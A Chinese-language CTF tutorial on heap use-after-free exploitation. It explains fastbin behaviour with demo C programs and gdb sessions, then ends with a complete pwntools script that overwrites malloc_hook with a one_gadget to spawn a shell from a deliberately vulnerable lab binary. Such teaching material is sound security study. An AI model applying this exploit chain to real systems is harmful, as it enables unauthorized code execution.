Intro

通过uaf得到的指针来实现任意地址的写入,快速实现getshell的一种方式为修改hook(malloc_hook || free_hook等等)为一个onegadget。

UAF( UseAfterFree ) 就是 malloc 申请的 chunk 被 frer 后对应指针没有设置为 NULL 导致的内存未分配使用(dangling pointer)

Eample 0x01 ShowUAF

以下的程序展示了UAF基本原理。

程序通过 malloc 申请了一块 chunk 储存 name 结构

申请到内存后对写入了函数指针正常使用,而后 free 掉了这个chunk,但实际上这里的单次 free 只修改了 libc内存管理相关的某个数组中的flag值,对应的那块内存没有变化 (多个chunk free则涉及到bin链表),因此被程序继续使用没有问题,直到指针置NULL,程序无法再通过指针访问这块区域,程序崩溃,由于空指针指向不可访问的0x0,程序发生的是段错误崩溃。

[+] Source:

#include <stdio.h>
#include <stdlib.h>
typedef struct name {
  char *myname;
  void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
  NAME *a;
  a = (NAME *)malloc(sizeof(struct name));
  a->func = myprint;
  a->myname = "I can also use it";
  a->func("this is my function");
  // free without modify
  free(a);
  a->func("I can also use it");
  // free with modify
  a->func = printmyname;
  a->func("this is my function");
  // set NULL
  a = NULL;
  printf("this pogram will crash...\n");
  a->func("can not be printed...");
}

[+] Output:

➜  use_after_free git:(use_after_free) ✗ ./use_after_free                      
this is my function
I can also use it
call print my name
this pogram will crash...
[1]    38738 segmentation fault (core dumped)  ./use_after_free

Exmaple 0x02 FastbinUAF

这里通过另一个简单的代码配合gdb调试了解通过uaf实现任意地址写的基本原理。

#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void helpinfo(){
    printf("0: exitn1: mallocn2: writen3: readn4: freen");
}
int main(){
    long action;
    char *buf[20];
    long len;
    long t,i;
    setbuf(stdout, NULL);
    // alarm(10);
    printf("Welcome to CTFn");
    printf("read:%pn",&read);
    helpinfo();
    while(1){
     scanf("%ld",&action);
     switch(action)
     {
         case 0:
             printf("GoodBye!n");
             return 0;
             break;
         case 1: // malloc
             printf("index:");
             scanf("%ld",&t);
             if(t>=21 || t<0){
                 printf("out of range!n");
                 break;
             }
             buf[t] = malloc(32); #分配32个字节
             printf("result: %pn",buf[t]); 
             break;
         case 2: // write
             printf("index:");
             scanf("%ld",&i);
             if(i>=21 || i<0){
                   printf("out of range!n");
                   break;
             }

             printf("length to write:");
             scanf("%ld",&len);
             read(0,buf[t],len);
             printf("OK!n");
             break;
         case 3: // read
             printf("index:");
             scanf("%ld",&i);
             if(i>=21 || i<0){
                   printf("out of range!n");
                   break;
             }
             printf("length to read:");
             scanf("%ld",&len);
             write(1,buf[t],len);
             printf("OK!n");
             break;
         case 4: // free
             printf("index:");
             scanf("%ld",&t);
             if(t>=21 || t<0){
                 printf("out of range!n");
                 break;
             }
             free(buf[t]);
             printf("OK!n"); 
             break;
         default:
             helpinfo();
             break;
    }
    char c;
     do {
      c = getchar();
     }
     while (!isdigit(c));
     ungetc(c, stdin);
  }
  return 0;
}

有了上面的理论,一眼关注到free函数,free(buf[t])后并没有置NULL,显然导致了一个UAF,被free掉的chunk仍然可以通过wirte和read正常读写。

利用的核心是控制一个指针,但看起来这里申请的chunk并没有用来存放一个带指针结构,事实上,但学习过堆的bins结构就会知道,被free掉的chunk会按照大小串成一个个链表来高效管理,怎么串呢,就是按照要求在free掉的chunk里的数据位存入链上其他块的指针。

这里可以看到程序每次malloc的size都为0x20,显然属于fastbins管理的范围,fastbins是LIFO规则单向链表。

第一个被free的内存块chunk,地址是存储在fastbin中的,第二个chunk被free时候,fastbin中存储的上一个chunk的地址会被保存到第二个chunk的fd中,而fashbin中存储的地址则是第二个chunk的。相当于链表的头插法。如果malloc,就是free的逆向。每次malloc就删去链表头。

因此malloc 2个 chunk 然后全部 free 掉的话应该在第二个被 free 掉的chunk里存了上一个 chunk的指针 (bk),重新malloc一个chunk则会先从fastbins里取出第一个chunk,再malloc时实际上就是按照刚才第二个被free掉的chunk里存的bk指针取出刚刚被free掉的第一个chunk,讲起来可能有点绕,直接看内存数据

vmmap 查看内存布局

gdb-peda$ vmmap
Start              End                Perm    Name
0x00400000         0x00401000         r-xp    /home/nick/CTF/uaf-1/uaf-1
0x00601000         0x00602000         r--p    /home/nick/CTF/uaf-1/uaf-1
0x00602000         0x00603000         rw-p    /home/nick/CTF/uaf-1/uaf-1
0x00603000         0x00624000         rw-p    [heap]
0x00007ffff7a15000 0x00007ffff7bcf000 r-xp    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bcf000 0x00007ffff7dcf000 ---p    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dcf000 0x00007ffff7dd3000 r--p    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd3000 0x00007ffff7dd5000 rw-p    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd5000 0x00007ffff7dda000 rw-p    mapped
0x00007ffff7dda000 0x00007ffff7dfd000 r-xp    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7fda000 0x00007ffff7fdd000 rw-p    mapped
0x00007ffff7ff5000 0x00007ffff7ff8000 rw-p    mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p    [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp    [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p    mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p    [stack]
0xffffffffff600000 0xffffffffff601000 r-xp    [vsyscall]

p main_arena 查看“内存批发市场账簿”

gdb-peda$ p main_arena
$1 = {
  mutex = 0x0, 
  flags = 0x0, 
  fastbinsY = {0x0, 0x603000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x603060, 
  last_remainder = 0x0, 
  bins = {0x7ffff7dd37b8 <main_arena+88>, 0x7ffff7dd37b8 <main_arena+88>, 
    0x7ffff7dd37c8 <main_arena+104>, 0x7ffff7dd37c8 <main_arena+104>, 
    0x7ffff7dd37d8 <main_arena+120>, 0x7ffff7dd37d8 <main_arena+120>, 
    0x7ffff7dd37e8 <main_arena+136>, 0x7ffff7dd37e8 <main_arena+136>, 
......
    0x7ffff7dd3dc8 <main_arena+1640>, 0x7ffff7dd3dc8 <main_arena+1640>, 
    0x7ffff7dd3dd8 <main_arena+1656>, 0x7ffff7dd3dd8 <main_arena+1656>, 
    0x7ffff7dd3de8 <main_arena+1672>, 0x7ffff7dd3de8 <main_arena+1672>...}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff7dd3760 <main_arena>, 
  next_free = 0x0, 
  system_mem = 0x21000, 
  max_system_mem = 0x21000
}

gdb启动程序,按照菜单尝试malloc两个chunk

gdb-peda$ r
Starting program: /home/nick/CTF/uaf-1/uaf-1 
Welcome to CTF
read:0x400760
0: exit
1: malloc
2: write
3: read
4: free
1
index:0
result: 0x603010
1
index:1
result: 0x603040
^C
Program received signal SIGINT, Interrupt.

这里堆是从0x603000开始的,申请到的chunk地址是从0x603010开始,前0x603008 - 0x603010的空间用来储存chunk有关的信息(chunk header)

可以看到,在0x603010的位置,小端序 存放着指针0x603030,那么改掉这个指针岂不是可以在malloc的时候指向一个任意地址了吗。

尝试直接修改一个字节定位到堆底部 0x603000

gdb-peda$ set {char} 0x603010=0x00
gdb-peda$ c
Continuing.
1
index:0
result: 0x603010
1
index:1
result: 0x603010

可以看到,第二个malloc的chunk指向了我们覆写的指针地址,因此我们完美控制了这个指针(堆利用的关键就在于控制指针)

当然,这个修改的值需要一定程度的对齐,否则也会导致程序的崩溃

*** Error in `/home/nick/CTF/uaf-1/uaf-1': malloc(): memory corruption (fast): 0x0000000000603050 ***

上面是使用了gdb直接修改的内存来模拟漏洞的利用,实际上基于UAF漏洞特点,free掉chunk产生指针后直接用菜单里的write即对bk指针进行覆写,将地址跳转到malloc_hook函数前,write将函数地址覆写成一个onegadget,于是继续调用malloc时触发getshell。

onegadget使用One_gadget工具快速查找

malloc_hook在 libc中offset使用pwntools加载elf通过sym直接调取

由于程序本身printf了read函数地址,可以得到libc基址,泄露libc基址的方式会在后面提到

exp:

---------Exp.py-----------

#!/usr/bin/python2.7
from pwn import *
context.log_level = 'debug'
p=process('./heap')
p.recvuntil('read:')
libc_read = int(p.recvline(),16)

def malloc(index):
    p.sendline('1')
    p.recvuntil('index:')
    p.sendline(str(index))
    p.recv()

def free(index):
    p.sendline('4')
    p.recvuntil('index:')
    p.sendline(str(index))
    p.recv()

def write(index,data):
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(index))
    p.recvuntil('to write:')
    p.sendline(str(len(data)))
    p.sendline(data)
    p.recv()

#先申请两块内存,然后释放。
malloc(0)
malloc(1)
free(0)
free(1)
base_addr=libc_read - 0xF7250
malloc_hook_addr = base_addr + 0x1B2768-0x21 #malloc_hook的地址-0x21#防止检查机制
gadget = base_addr + 0x3ac5e 

#将malloc_hook的地址写入被free的内存1中 #内存数据没有被删除,只是标记的被free
write(1,p64(malloc_hook_addr))
malloc(1)
malloc(0) #申请第二块内存,会读取内存1中存储的指针。指针此时已经被标记为malloc_hook的位置。
write(0,'1'*0x21 + p64(gadget)) #向内存块中写入gadget #此时的内存0是malloc_hook地址-0x21。

#再次申请内存,malloc会调用malloc_hook函数,所以就会执行gadget。拿到shell
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(9))
p.interactive()